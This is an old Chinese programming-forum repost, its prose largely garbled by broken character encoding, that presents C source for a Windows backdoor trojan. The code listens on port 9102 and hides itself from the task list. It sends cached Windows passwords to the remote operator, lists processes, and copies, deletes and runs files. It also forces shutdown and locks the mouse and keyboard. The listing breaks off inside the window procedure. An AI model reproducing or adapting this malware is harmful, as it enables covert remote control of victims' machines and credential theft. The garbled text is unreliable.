一个简单木马列子--可能并不很简单(转者加)

类别:VC语言 点击:0 评论:0 推荐:

 

[ID£º7221] Ö÷Ì⣺°³Ð´µÄÒ»¸ö¼òµ¥Ä¾Âí

     [ ת·¢Ìû×Ó »Ø¸´´ËÌû Ïà¹ØÌû×Ó ]

²¡¶¾ ÓÚ 2001-05-20 19:16:04 ¼ÓÌùÔÚ ±à³ÌÀÖÔ° ÉÏ
ÄÚÈÝ£¨49185bytes£©:
Ò»¸ö¼òµ¥Ä¾ÂíÁÐ×Ó

×÷Õß:²¡¶¾ ·¢±íÓÚ ÂÌÉ«±øÍÅ

°³Ð´ÎÄÕÂÒ»°ã¶¼¸³Ô´´úÂë.³ý¹Ø¼ü²¿·ÖÍâÏòÀ´²»°®´òÌ«¶à˵Ã÷ÐÔÎÄ×Ö,ÒòΪ¾õµÃÕâÑù
²Å±È½Ïʵ¼Ê,¹ØÓÚÄÇЩº¯ÊýÓ÷¨ºÍ¹¦ÄÜ´ó¿ÉÒÔÈ¥·­Êé,ÄÄÀï½²µÄ±ÈË­¶¼Ïêϸ.

ÕâÀï¸øÁËÒ»¸ö°³ÓÃÒì²½SOCKET·½Ê½, Ö±½Óµ÷ÓÃWINSOCK API,WIN SDKдµÄľÂí(VC,C++ BUILDERϾù±àÒë,µ÷ÊÔͨ¹ý),ÎÞÐë¿Í»§¶Ë,±àÒëºó²Å¼¸Ê®K.ʵÏÖÁËЩ Ö÷Òª¹¦ÄÜ,Îļþä¯ÀÀ,ÉÏ´«,ÏÂÔØ(¾ùÖ§³ÖͳÅä·û),¸Ä±äĿ¼,»ñȡϵͳÐÅÏ¢,´ÓCACHEÈ¡ÃÜÂë, Ö´ÐÐÎļþ,ÏÔʾ½ø³Ì, ·¢ËÍÏûÏ¢,¹Ø»ú, »¹ÓÐЩ¿ØÖƹ¦ÄÜ, WIN 9X,NT/2000Ͼù ¿ÉʹÓÃ,ÔÚNT,2000ÏÂ,Òò¿¼Âǵ½ÈçCMD.EXEÒѸÄÃû»ò²»´æÔÚ,ÄÇô³ÌÐò ½«ºÁÎÞÓô¦. ËùÒÔ ²¢Ã»Óе÷ÓÃCMD.EXEÀ´Íê³É,È«²¿ÓÉ×Ô¼ºÀ´×ö,WIN APIʵÏÖ.ÒªÏë×Ô¼º³ÌÐòͨÓþͲ»ÒªÅ Âé·³.½¨ÒéÄÇЩÓÃÏֳɿؼþдľÂíºÍÍøÂçͨѶµÄÅóÓÑÓ¦¸Ã¿´¿´,È¥ÊìϤÕâЩ¸ù±¾ËùÔÚ, ÓÈÆäÊÇÔÚÍøÂç ͨѶ·½Ãæ.Èç¹ûÄãÊǸö³ÌÐòÔ± ÎÒÏë´ó¿É²»±ØÓÃÎÒ¶à˵,ÔÚ¿ª·¢Öа³»¹Ã»¼û¹ýÄļҹ«Ë¾Èà ÓÃÏÖ³ÉÀà (MFC,VCL)À´×öµÄ.

´Ë³ÌÐò»¹²»ºÜ½¡×³,дÍêºóҲûÀ´µÄ¼°ÓÅ»¯,Ö÷ÒªÊÇÄÃÀ´Èôó¼ÒÊìϤһÏÂWINSOCKºÍWIN SDK±à³Ì.


//---------------------------------------------------------------------------
// WINSOCK API,WIN SDK±à³Ì,ÎÞÐè¿Í»§¶Ë
//
// ×÷Õß: ¼Ö¼Ñ
//---------------------------------------------------------------------------

#include <windows.h>
#include <winsock.h>
#include <mmsystem.h>
#pragma hdrstop
#include <condefs.h>
#pragma argsused

#define RUN "\\WinMon32.exe"

//×¢²á·þÎñ
#define SERVICE_PROC 1
//жÔØ·þÎñ
#define UNSERVICE_PROC 0

#define TH32CS_SNAPPROCESS 0x00000002
#define PROCESS_HANDLE_NAME 255

//»º³åÇø³¤¶È
#define dwBuffSize 2048
//ÃüÁîÐ㤶È
#define dwComm 50
#define PORT 9102
#define WM_SOCKET WM_USER+1
#define PROMPT "LanLan:\\>"

DWORD dwVersion=MAKEWORD(1,1);
DWORD dwFlag=TRUE;
WSADATA wsaData;
SOCKET CreateSock,NewSock;
SOCKADDR_IN Sock_in,NewSock_in;
LPTSTR szReadBuff,Ob,TempBuff;
int addrlen;

//CACHE PASSWORD½á¹¹
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
char abResource[1];
} PASSWORD_CACHE_ENTRY;

typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);

//CACHE PASSWORDº¯ÊýÔ­ÐÎ
typedef WORD (WINAPI *PWNetEnumCachedPasswords)(
LPSTR pbPrefix,
DWORD cbPrefix,
DWORD nType,
CACHECALLBACK pfnCallback,
DWORD UNKNOWN
);

//TOOLHELP32 ½á¹¹
typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;

typedef PROCESSENTRY32 * LPPROCESSENTRY32;

//¶¨ÒåTOOLHELP32,PSAPIº¯ÊýÖ¸Õë
HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD);
BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded);
DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize);

HINSTANCE DLLInst;
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);

//---------------------------------------------------------------------------
// GetOS
// ÅжϲÙ×÷ϵͳ
//---------------------------------------------------------------------------

DWORD WINAPI GetOS()
{
OSVERSIONINFO os;
TCHAR sVersion[MAX_PATH];

os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;

case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
}

//---------------------------------------------------------------------------
// HideProc
// ×¢²á½ø³Ì
//---------------------------------------------------------------------------

BOOL WINAPI HideProc(int mode)
{
DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}

//---------------------------------------------------------------------------
// EnumProcess
// ö¾Ù½ø³Ì
//---------------------------------------------------------------------------

//³õʼ»¯TOOLHELP32
BOOL InitToolHelp32()
{
HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL");
if(DLLinst)
{
CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD))
GetProcAddress(DLLinst,"CreateToolhelp32Snapshot");
Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
GetProcAddress(DLLinst,"Process32First");
Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
GetProcAddress(DLLinst,"Process32Next");
if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next))
return FALSE;
else
return TRUE;
}
return FALSE;
}

//³õʼ»¯PSAPI
BOOL InitPSAPI()
{
HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL");
if(NULL==PSAPI)
return FALSE;
EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded))
GetProcAddress(PSAPI,"EnumProcesses");
GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize))
GetProcAddress(PSAPI,"GetModuleFileNameExA");
if(NULL == EnumProcesses||NULL == GetModuleFileName)
return FALSE;
else
return TRUE;
}


VOID WINAPI EnumProcess()
{
HANDLE process[255];
PROCESSENTRY32 p32;
DWORD process_ids[255];
DWORD num_processes;
TCHAR file_name[MAX_PATH];
TCHAR szTemp[MAX_PATH];
unsigned i;

wsprintf(szTemp,"\n\n\r << Process File Name >>\n\n\r");
send(NewSock,szTemp,lstrlen(szTemp),0);

switch(GetOS())
{
case VER_PLATFORM_WIN32_WINDOWS:
if(InitToolHelp32())
{
p32.dwSize=sizeof(PROCESSENTRY32);
HANDLE pName=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
BOOL Next=Process32First(pName,&p32);
i=0;
while(Next)
{
wsprintf(szTemp,"Process FileName :%s \n\r",p32.szExeFile);
send(NewSock,szTemp,lstrlen(szTemp),0);
process[i]=OpenProcess(PROCESS_TERMINATE,0,p32.th32ProcessID);
Next=Process32Next(pName,&p32);
i++;
}
CloseHandle(pName);
}
break;

case VER_PLATFORM_WIN32_NT:
if(InitPSAPI())
{
EnumProcesses(process_ids,sizeof(process_ids),&num_processes);
for(i=0; i<num_processes; i++)
{
process[i]=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ
,0,process_ids[i]);
if(GetModuleFileNameExA(process[i],NULL,file_name,sizeof(file_name)))
wsprintf(szTemp,"Process FileName :%s \n\r",file_name);
send(NewSock,szTemp,lstrlen(szTemp),0);
}
CloseHandle(process);
}
break;
}


}


//---------------------------------------------------------------------------
// GetCachePW
// È¡CACHEÃÜÂë
//---------------------------------------------------------------------------

BOOL CALLBACK GetPass(PASSWORD_CACHE_ENTRY *pce,DWORD)
{
MoveMemory(szReadBuff,pce->abResource,pce->cbResource);
szReadBuff[pce->cbResource]=0;
CharToOem(szReadBuff,Ob);
wsprintf(TempBuff,"\n\n\r (USERNAME): %s \n\r (PASSWORD): ",Ob);
MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword);
szReadBuff[pce->cbPassword]=0;
CharToOem(szReadBuff,Ob);
lstrcat(TempBuff,Ob);
send(NewSock,TempBuff,dwBuffSize,0);

return TRUE;
}

BOOL WINAPI GetCachePW()
{
TCHAR szTemp[MAX_PATH];

PWNetEnumCachedPasswords WNetEnumCachedPasswords;
HINSTANCE DLLinst=LoadLibrary("MPR.DLL");
if(!DLLinst)
{
return FALSE;
}

wsprintf(szTemp,"\n\n\r << Win 9x Cache Password >>\n\r");
send(NewSock,szTemp,lstrlen(szTemp),0);

WNetEnumCachedPasswords=(PWNetEnumCachedPasswords)
GetProcAddress(DLLinst,"WNetEnumCachedPasswords");
if(!WNetEnumCachedPasswords)
{
return FALSE;
}
else
{
szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
WNetEnumCachedPasswords(0,0,0xff,GetPass,0);
HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff);
HeapFree(GetProcessHeap(),dwBuffSize,Ob);
HeapFree(GetProcessHeap(),dwBuffSize,TempBuff);
FreeLibrary(DLLinst);
}
return TRUE;
}

//---------------------------------------------------------------------------
// LoadProcess
// Ö´ÐÐÎļþ
//---------------------------------------------------------------------------

BOOL WINAPI LoadProcess(LPCTSTR szFileName)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(STARTUPINFO));
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
si.cb=sizeof(STARTUPINFO);
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOWNORMAL;

if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE)
{
return FALSE;
}
return TRUE;
}

//---------------------------------------------------------------------------
// Dir
// ä¯ÀÀÎļþ,Ö§³ÖͳÅä·û
//---------------------------------------------------------------------------

VOID WINAPI Dir(LPCTSTR lParam)
{
WIN32_FIND_DATA wfd;
HANDLE hHandle;
TCHAR szFileName[MAX_PATH];
int i;

wsprintf(szFileName,"\n\n\r");
send(NewSock,szFileName,lstrlen(szFileName),0);

lstrcpy(szFileName,lParam);

if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE)
{
do
{
switch(wfd.dwFileAttributes)
{
case FILE_ATTRIBUTE_ARCHIVE:
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
break;
case FILE_ATTRIBUTE_DIRECTORY:
wsprintf(szFileName,"%-20s %10lu <DIR>\n\r",wfd.cFileName,wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
break;
case FILE_ATTRIBUTE_HIDDEN:
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
break;
case FILE_ATTRIBUTE_READONLY:
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
break;
case FILE_ATTRIBUTE_SYSTEM:
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
break;
}
}while(FindNextFile(hHandle,&wfd));
}
else
{
wsprintf(szFileName,"Can not find directory or files.\n\r");
send(NewSock,szFileName,lstrlen(szFileName),0);
}
}

//---------------------------------------------------------------------------
// FileOpertion
// Îļþ²Ù×÷º¯Êý
//---------------------------------------------------------------------------

BOOL WINAPI FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt)
{
SHFILEOPSTRUCT shf;
TCHAR sr[MAX_PATH];
TCHAR de[MAX_PATH];

lstrcpy(sr,szFileName1);
sr[lstrlen(sr)+1]='\0';
lstrcpy(de,szFileName2);
de[lstrlen(de)+1]='\0';

ZeroMemory(&shf,sizeof(shf));
shf.hwnd=NULL;
shf.wFunc=opt;
shf.pFrom=sr;
shf.pTo=de;
shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES
|FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR;

if(SHFileOperation(&shf))
return FALSE;
else
return TRUE;
}

//---------------------------------------------------------------------------
// Delete
// ɾ³ýÎļþ(Òþ²Ø,Ö»¶Á),Ŀ¼,Ö§³ÖͳÅä·û
//---------------------------------------------------------------------------

VOID WINAPI Delete(LPCTSTR lParam)
{
if(!FileOpertion(lParam,"",FO_DELETE))
send(NewSock,"Delete File is Fail",20,0);
else
send(NewSock,"Delete File is OK",17,0);
}

//---------------------------------------------------------------------------
// Copy
// ¸´ÖÆ,ÉÏ´«,ÏÂÔØÎļþ(ÐèÏȽ«×Ô¼ºÓ²ÅÌÉèÖÃΪÍêÈ«¹²Ïí),Ö§³ÖͳÅä·û
//---------------------------------------------------------------------------

VOID WINAPI Copy(LPCTSTR lParam1,LPCTSTR lParam2)
{
if(!FileOpertion(lParam1,lParam2,FO_COPY))
send(NewSock,"Copy File is Fail",18,0);
else
send(NewSock,"Copy File is OK",15,0);
}

//---------------------------------------------------------------------------
// Ren
// Îļþ,Ŀ¼ÖØÃüÃû
//---------------------------------------------------------------------------

VOID WINAPI Ren(LPCTSTR lParam1,LPCTSTR lParam2)
{
if(!FileOpertion(lParam1,lParam2,FO_RENAME))
send(NewSock,"Renname File is Fail",21,0);
else
send(NewSock,"Reanme File is OK",18,0);
}

//---------------------------------------------------------------------------
// GetSysInfo
// »ñȡϵͳÐÅÏ¢
//---------------------------------------------------------------------------

VOID WINAPI GetSysInfo()
{
TCHAR szBuff[MAX_PATH];
TCHAR szTemp[MAX_PATH];


wsprintf(szBuff,"\n\n\r<<System Information>>\n\n\r");
send(NewSock,szBuff,lstrlen(szBuff),0);

//¼ÆËã»úÃû
DWORD len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);

//µ±Ç°²Ù×÷ϵͳ
switch(GetOS())
{
case VER_PLATFORM_WIN32_WINDOWS:
lstrcpy(szTemp,"Windows 9x");
break;
case VER_PLATFORM_WIN32_NT:
lstrcpy(szTemp,"Windows NT/2000");
break;
}
wsprintf(szBuff,"Option System: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);

//ÄÚ´æÈÝÁ¿
MEMORYSTATUS mem;
mem.dwLength=sizeof(mem);
GlobalMemoryStatus(&mem);
wsprintf(szBuff,"Total Memroy: %dM\n\n\r",mem.dwTotalPhys/1024/1024+1);
send(NewSock,szBuff,lstrlen(szBuff),0);

//ϵͳĿ¼
TCHAR szPath[MAX_PATH];
GetWindowsDirectory(szTemp,sizeof(szTemp));
GetSystemDirectory(szBuff,sizeof(szBuff));
wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory: %s\n\n\r",szTemp,szBuff);
send(NewSock,szPath,lstrlen(szPath),0);

//Çý¶¯Æ÷¼°·ÖÇøÀàÐÍ
TCHAR szFileSys[10];

for(int i=0;i<26;++i)
{
wsprintf(szTemp,"%c:\\",'A'+i);
UINT uType=GetDriveType(szTemp);
switch(uType)
{
case DRIVE_FIXED:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
case DRIVE_CDROM:
wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
case DRIVE_REMOTE:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"NetWork Disk: %s (%s)\n\n\r",szTemp,szFileSys);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
}
}

}

//---------------------------------------------------------------------------
// ExitWin
// ¹Ø±Õ¼ÆËã»ú(WIN 9X,NT/2000)
//---------------------------------------------------------------------------

VOID WINAPI ExitWin()
{
DWORD dwVer;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;

dwVer=GetOS();
if(dwVer==VER_PLATFORM_WIN32_WINDOWS)
ExitWindowsEx(1,0);

else if(dwVer==VER_PLATFORM_WIN32_NT)
{
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,0);
}
}

//---------------------------------------------------------------------------
// CtrlCD
// ¹âÇý¿ØÖÆ
//---------------------------------------------------------------------------

VOID WINAPI CtrlCD(HWND hWnd,BOOL Ctrl)
{
switch(Ctrl)
{
case TRUE:
mciSendString("Set cdaudio door open wait",NULL,0,hWnd);
break;
case FALSE:
mciSendString("Set cdaudio door closed wait",NULL,0,hWnd);
break;
}
}

//---------------------------------------------------------------------------
// PopMsg
// ·¢ËÍÏûÏ¢
//---------------------------------------------------------------------------

VOID WINAPI PopMsg(LPCTSTR message,HWND hWnd)
{
MessageBox(hWnd,message,"PopMsg",MB_OK);
}

//---------------------------------------------------------------------------
// ChangeDir
// ¸Ä±äµ±Ç°Ä¿Â¼
//---------------------------------------------------------------------------

BOOL WINAPI ChangeDir(LPCTSTR szDir)
{
if(SetCurrentDirectory(szDir))
return TRUE;
else
return FALSE;
}

//---------------------------------------------------------------------------
// GetCurPath
// µÃµ½µ±Ç°Ä¿Â¼
//---------------------------------------------------------------------------

VOID WINAPI GetCurPath()
{
TCHAR lpBuff[MAX_PATH];
TCHAR szTemp[MAX_PATH];

GetCurrentDirectory(MAX_PATH,lpBuff);
wsprintf(szTemp,"CurrentDirect: %s\n\r",lpBuff);
send(NewSock,szTemp,lstrlen(szTemp),0);
}

//---------------------------------------------------------------------------
// HSSys
// ÏÔʾ,Òþ²Ø×ÀÃæ,ÈÎÎñÀ¸
//---------------------------------------------------------------------------

VOID WINAPI HSSys(HWND hWnd,BOOL Ctrl)
{
switch(Ctrl)
{
case FALSE:
hWnd=FindWindow("Progman",NULL);
ShowWindow(hWnd,SW_HIDE);
hWnd=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(hWnd,SW_HIDE);
break;
case TRUE:
hWnd=FindWindow("Progman",NULL);
ShowWindow(hWnd,SW_SHOW);
hWnd=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(hWnd,SW_SHOW);
break;
}
}

//---------------------------------------------------------------------------
// LockMK
// Ëø¶¨Êó±ê,¹¦Äܼü
//---------------------------------------------------------------------------

VOID WINAPI LockMK(BOOL Ctrl)
{
RECT rc;
switch(Ctrl)
{
case TRUE:
ZeroMemory(&rc,sizeof(rc));
ClipCursor(&rc);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,TRUE,NULL,0);
SystemParametersInfo(SPI_SETFASTTASKSWITCH,TRUE,NULL,0);
break;
case FALSE:
ClipCursor(NULL);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,FALSE,NULL,0);
SystemParametersInfo(SPI_SETFASTTASKSWITCH,FALSE,NULL,0);
break;
}
}

//---------------------------------------------------------------------------
// ExeCommand
// Ö´ÐÐÃüÁî
//---------------------------------------------------------------------------

VOID ExeCommand(LPCTSTR szCommand,HWND hWnd)
{
TCHAR szBuf[MAX_PATH];
TCHAR Param1[100];
TCHAR Param2[100];
int i;

if((lstrcmp(szCommand,"getpw"))==0)
GetCachePW();

else if((lstrcmp(szCommand,"getinfo"))==0)
GetSysInfo();

else if((lstrcmp(szCommand,"gcpath"))==0)
GetCurPath();

else if((lstrcmp(szCommand,"opencd"))==0)
CtrlCD(hWnd,TRUE);

else if((lstrcmp(szCommand,"closecd"))==0)
CtrlCD(hWnd,FALSE);

else if((lstrcmp(szCommand,"showsys"))==0)
HSSys(hWnd,TRUE);

else if((lstrcmp(szCommand,"hidesys"))==0)
HSSys(hWnd,FALSE);

else if((lstrcmp(szCommand,"lockmk"))==0)
LockMK(TRUE);

else if((lstrcmp(szCommand,"unlock"))==0)
LockMK(FALSE);

else if((lstrcmp(szCommand,"dproc"))==0)
EnumProcess();

else if((lstrcmp(szCommand,"exitwin"))==0)
ExitWin();

else if((strncmp(szCommand,"popmsg",lstrlen("popmsg")))==0)
{
if(lstrlen(szCommand)<=lstrlen("popmsg")+2)
{
send(NewSock,"usage : popmsg Message",28,0);
}
for(i=lstrlen("popmsg")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("popmsg")+1);
PopMsg(Param1,hWnd);
}
}

else if((strncmp(szCommand,"execfile",lstrlen("execfile")))==0)
{
if(lstrlen(szCommand)<=lstrlen("execfile")+2)
{
send(NewSock,"usage : execfile szFileName",28,0);
}
for(i=lstrlen("execfile")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("execfile")+1);
if(LoadProcess(Param1)==FALSE)
send(NewSock,"execfile Fail",14,0);
else
send(NewSock,"execfile OK",11,0);
}
}

else if((strncmp(szCommand,"cd",lstrlen("cd")))==0)
{
if(lstrlen(szCommand)<=lstrlen("cd")+2)
{
send(NewSock,"cd Drive\\Directory",19,0);
}
for(i=lstrlen("cd")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("cd")+1);
if(ChangeDir(Param1)==FALSE)
send(NewSock,"Change Directory Fail",21,0);
else
send(NewSock,"Change Directory OK",19,0);
}
}

else if((strncmp(szCommand,"dir",lstrlen("dir")))==0)
{
if(lstrlen(szCommand)<=lstrlen("dir")+2)
{
Dir("*.*");
}
for(i=lstrlen("dir")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("dir")+1);
Dir(Param1);
}
}

else if((strncmp(szCommand,"del",lstrlen("del")))==0)
{
if(lstrlen(szCommand)<=lstrlen("del")+2)
{
send(NewSock,"usage : DEL szFileName",28,0);
}
for(i=lstrlen("del")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("del")+1);
Delete(Param1);
}
}

else if((strncmp(szCommand,"copy",lstrlen("copy")))==0)
{
if(lstrlen(szCommand)<=lstrlen("COPY")+2)
{
send(NewSock,"usage : COPY Drive\\Filename ",28,0);
return;
}
for(i=lstrlen("copy")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("copy")+1);
lstrcpy(Param2,"");
send(NewSock,"Copy File1 to File2",19,0);
}
else
{
lstrcpy(szBuf,szCommand);
szBuf[i]=0;
lstrcpy(Param1,szBuf+lstrlen("copy")+1);
lstrcpy(Param2,szBuf+i+1);
Copy(Param1,Param2);
}
}

else if((strncmp(szCommand,"ren",lstrlen("ren")))==0)
{
if(lstrlen(szCommand)<=lstrlen("ren")+2)
{
send(NewSock,"usage : REN Drive\\Filename ",28,0);
return;
}
for(i=lstrlen("ren")+1;i<lstrlen(szCommand);i++)
if(szCommand[i]==' ')break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("ren")+1);
lstrcpy(Param2,"");
send(NewSock,"Ren File1 to File2",19,0);
}
else
{
lstrcpy(szBuf,szCommand);
szBuf[i]=0;
lstrcpy(Param1,szBuf+lstrlen("ren")+1);
lstrcpy(Param2,szBuf+i+1);
Ren(Param1,Param2);
}
}

else
send(NewSock,"Bad Command !!!",16,0);
}

//---------------------------------------------------------------------------
// InitSocket
// ³õʼ»¯SOCKET
//--------------------------------------------------------------------------

BOOL WINAPI InitSocket(HWND hWnd)
{
if((WSAStartup(dwVersion,&wsaData))!=0)
{
MessageBox(hWnd,"INIT SOCKET ERROR",NULL,MB_OK);
return FALSE;
}

CreateSock=socket(AF_INET,SOCK_STREAM,0);
if(CreateSock==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"SOCKET ERROR",NULL,MB_OK);
return FALSE;
}

Sock_in.sin_family=AF_INET;
Sock_in.sin_port=htons(PORT);
Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY);

setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag));

if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"BIND ERROR",NULL,MB_OK);
return FALSE;
}

else if(listen(CreateSock,3)==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"LISTEN ERROR",NULL,MB_OK);
return FALSE;
}

else if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"WSASelect ERROR",NULL,MB_OK);
return FALSE;
}

addrlen=sizeof(SOCKADDR_IN);


return TRUE;
}

//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{

static TCHAR szCommand[dwComm];
static TCHAR szExec[dwComm];

switch(message)
{
case WM_SOCKET:
if(WSAGETSELECTERROR(lParam))
{
closesocket(wParam);
break;
}

switch(WSAGETSELECTEVENT(lParam))
{
//Á¬½Ó
case FD_ACCEPT:
NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen);
WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
wsprintf(szCommand,"LANLAN Ver 1.0 Write by VIRUS\n\n\r%s",PROMPT);
send(NewSock,szCommand,dwComm,0);
break;

